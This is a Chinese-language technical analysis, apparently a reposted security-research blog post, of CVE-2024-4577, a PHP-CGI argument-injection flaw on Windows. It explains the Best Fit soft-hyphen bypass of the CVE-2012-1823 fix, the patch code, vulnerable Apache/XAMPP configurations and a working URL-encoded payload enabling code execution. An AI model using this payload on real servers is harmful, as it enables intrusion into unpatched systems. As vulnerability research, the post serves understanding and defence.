PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)分析

admin 2024年6月8日14:22:02评论17 views字数 5751阅读19分10秒阅读模式

Intro

从实时监控的安全信息流推送发现Orange师傅的博客更新了,看到发布了CVE-2024-4577 - Yet Another PHP RCE: Make PHP-CGI Argument Injection Great Again![1],几行文字介绍了对于 PHP-CGI远程代码执行漏洞(CVE-2012-1823)的绕过,提到了对Windows平台下的影响,后面分析得知是利用Windows平台下字符编码的Best Fit特性,对于前身CVE-2012-1823漏洞的绕过,从而Bypass了转义继续参数拼接,导致RCE。

PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)分析

CVE-2024-4577 - Yet Another PHP RCE: Make PHP-CGI Argument Injection Great Again!

漏洞通报[2]中还提到别的信息,可知此漏洞有特殊的条件限制,就是:

  1. 直接用PHP-CGI启动
  2. 要求Windows操作系统需为:繁体中文、简体中文、日文,这三个其中之一的语言版本(就目前来说)。

影响的版本为:

  • 8.3 ≤ version < 8.3.8
  • 8.2 ≤ version < 8.2.20
  • 8.1 ≤ version < 8.1.29

Background

为了更好的分析这个漏洞的成因,找到并阅读了之前p神对于PHP-CGI远程代码执行漏洞(CVE-2012-1823)分析[3]这篇文章,接下来让我们enjoy!!!

PHP-CGI(Common Gateway Interface)是一种在服务器上处理 PHP 脚本的模式。它将 Web 服务器与 PHP 解释器连接,使得 Web 服务器能够将 HTTP 请求传递给 PHP 脚本进行处理。

假设有一个 HTTP 请求 URL:

http://host/cgi.php?foo=bar

这个请求被 Web 服务器接收到之后,解析为调用 PHP CGI 解释器的命令会是:

php.cgi.exe cgi.php foo=bar

以下是 PHP-CGI 工作的基本流程:

  1. 接收请求:Web 服务器接收一个 HTTP 请求,例如 http://host/cgi.php?foo=bar
  2. 解析请求:Web 服务器解析请求的 URL 和查询字符串,将其转换为可以传递给 PHP 脚本的格式。
  3. 调用 PHP 解释器:Web 服务器通过 CGI 接口调用 PHP 解释器(例如 php-cgi),并将请求的信息(包括查询字符串)传递给 PHP 解释器。
  4. 执行脚本:PHP 解释器接收请求信息并执行指定的 PHP 脚本(例如 cgi.php)。
  5. 处理查询字符串:PHP 解释器解析查询字符串,将参数(例如 foo=bar)传递给 PHP 脚本。
  6. 返回结果:PHP 脚本处理完成后,生成的输出(通常是 HTML 内容)通过 PHP 解释器返回给 Web 服务器。
  7. 响应客户端:Web 服务器将 PHP 脚本的输出作为 HTTP 响应返回给客户端浏览器。

PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)分析

PHP-CGI处理流程图

对于上面的流程,如果命令行参数可控,能做些什么事呢?对头,原因就在这哈哈哈哈。通过-h,我们可以发现cgi模式下有如下一些参数可用:

Usage: php [-q] [-h] [-s] [-v] [-i] [-f <file>]
       php <file> [args...]
  -a               Run interactively // 交互式运行
  -b <address:port>|<port> Bind Path for external FASTCGI Server mode // 绑定路径用于外部 FASTCGI 服务器模式
  -C               Do not chdir to the script's directory // 不要切换到脚本的目录
  -c <path>|<file> Look for php.ini file in this directory // 查找指定目录中的 php.ini 文件
  -n               No php.ini file will be used // 不使用 php.ini 文件
  -d foo[=bar]     Define INI entry foo with value '
bar' // 定义 INI 条目 foo 的值为 'bar'
  -e               Generate extended information for debugger/profiler // 为调试器/分析器生成扩展信息
  -f <file>        Parse <file>.  Implies `-q'
 // 解析 <file> 文件。隐含 `-q` 选项
  -h               This help // 显示帮助信息
  -i               PHP information // 显示 PHP 信息
  -l               Syntax check only (lint) // 仅进行语法检查(lint)
  -m               Show compiled in modules // 显示已编译的模块
  -q               Quiet-mode.  Suppress HTTP Header output. // 静默模式。抑制 HTTP 头输出
  -s               Display colour syntax highlighted source. // 显示带有颜色的语法高亮源码
  -v               Version number // 显示版本号
  -w               Display source with stripped comments and whitespace. // 显示删除注释和空白的源码
  -z <file>        Load Zend extension <file>. // 加载 Zend 扩展 <file>
  -T <count>       Measure execution time of script repeated <count> times. // 测量脚本执行时间,重复 <count> 次

最简单的利用方式,当然就是-s,可以直接显示源码:

PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)分析

当然,我们也可以通过使用-d指定auto_prepend_file来制造任意文件包含漏洞,执行任意代码:

PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)分析

前因漏洞最后官方的修复方式就是跳过所有空白符(小于等于空格的所有字符),再判断第一个字符是否是-,具体sapi/cgi/cgi_main.c代码如下:

if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {
    /* we've got query string that has no = - apache CGI will pass it to command line */
    unsigned char *p;
    decoded_query_string = strdup(query_string);
    php_url_decode(decoded_query_string, strlen(decoded_query_string));
    for (p = decoded_query_string; *p &&  *p <= ' '; p++) {
        /* skip all leading spaces */
    }
    if(*p == '-') {
        skip_getopt = 1;
    }
    free(decoded_query_string);
}

Analyse

根据PHP漏洞修复提交的Commit[4], 发现官方对前面我们提到的sapi/cgi/cgi_main.c文件新增了Windows环境下单独的逻辑判断,具体代码如下:

PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)分析

Commit
#ifdef PHP_WIN32
  if (*p >= 0x80) {
   wchar_t wide_buf[1];
   wide_buf[0] = *p;
   char char_buf[4];
   size_t wide_buf_len = sizeof(wide_buf) / sizeof(wide_buf[0]);
   size_t char_buf_len = sizeof(char_buf) / sizeof(char_buf[0]);
   if (WideCharToMultiByte(CP_ACP, 0, wide_buf, wide_buf_len, char_buf, char_buf_len, NULLNULL) == 0
    || char_buf[0] == '-') {
    skip_getopt = 1;
   }
  }
#endif

这段代码检查输入字符是否为非 ASCII 字符(ASCII 码 >= 0x80),如果是,则将其转换为宽字符并尝试转换为多字节字符。如果转换失败或者转换后的第一个字符是 '-',则设置一个标志 skip_getopt 为 1,以跳过后续的选项处理。这样确保了处理非 ASCII 字符时的正确行为。并且其中对请求参数使用了WideCharToMultiByte函数,即宽字节的转换。

所以漏洞的绕过就在对宽字节的处理不足上,此漏洞利用的是%AD进行绕过,对应的编码表参考如下:

https://www.unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WindowsBestFit/bestfit936.txt

PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)分析

中文系统-编码表

肉眼看起来都一样,我们放到16进制编辑器中,就能够发现端疑了,在中文的操作系统显示如下:

PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)分析

0x00AD在中文系统下显示

你是不是很难分辨,肉眼来看都一样,但实际上对于操作系统来说含义却大不一样。而英文操作系统下,显示如下:

PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)分析

0x00AD在英文系统下显示

这里也就解释了,为什么这个漏洞利用对Windows操作系统语言有要求。同时也就Bypass了导致RCE。

PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)分析

We don't care if it's the same joke as above, it's still funny.[5]

因此我们原来的CVE-2012-1823利用的payload,变身如下:

# raw 
-d allow_url_include=1 -d auto_prepend_file=php://input

--
 ---> -d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input   # urlencode
  
  ---->  %ADd+allow_url_include%3don+%ADd+auto_prepend_file%3dphp://input

End...

Exploit

接下来我们来复现一下,此漏洞利用场景有以下两个:

场景一:在 CGI 模式下运行 PHP

在配置Action指令将相应的 HTTP 请求映射到 Apache HTTP Server 中的 PHP-CGI 可执行二进制文件时,可直接利用此漏洞。受影响的常见配置包括但不限于:

AddHandler cgi-script .php
Action cgi-script "/cgi-bin/php-cgi.exe"

或者


<FilesMatch ".php$">
    SetHandler application/x-httpd-php-cgi
</FilesMatch>
 
Action application/x-httpd-php-cgi "/php-cgi/php-cgi.exe"

场景 2:公开 PHP 二进制文件(也是默认的 XAMPP 配置)

即使 PHP 没有配置为 CGI 模式,仅仅将 PHP 可执行文件暴露在 CGI 目录中也会受到此漏洞的影响。常见场景包括但不限于:

  1. 将php.exe或复制php-cgi.exe到/cgi-bin/目录。
  2. 通过指令公开 PHP 目录ScriptAlias,例如:
ScriptAlias /php-cgi/ "C:/xampp/php/"

利用场景一来进行复现,下载安装XAMPP软件,PHP Version 8.2.12。链接如下:https://www.apachefriends.org/zh_cn/index.html

修改Apache的配置文件httpd-xampp.conf

PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)分析

PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)分析

修改配置

将上面演示CVE-2012-1823的poc中的-替换为%ad

PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)分析

Attacked

Conclusion

分析到这里,我感到非常惊喜(wow)。通过此次漏洞的分析,让我对漏洞挖掘有了更深的理解,尤其是从历史漏洞和底层源码开始的挖掘之道,Bypass techniques are ubiquitous.

References

  1. https://blog.orange.tw/2024/06/cve-2024-4577-yet-another-php-rce.html
  2. https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/
  3. https://www.leavesongs.com/PENETRATION/php-cgi-cve-2012-1823.html
  4. https://github.com/php/php-src/commit/4dd9a36c16?diff=split&w=0
  5. https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/
  6. https://mp.weixin.qq.com/s/UMz2WR7fztvEWtFx43anvQ

原文始发于微信公众号(山石网科安全技术研究院):PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月8日14:22:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)分析https://cn-sec.com/archives/2829998.html

发表评论

匿名网友 填写信息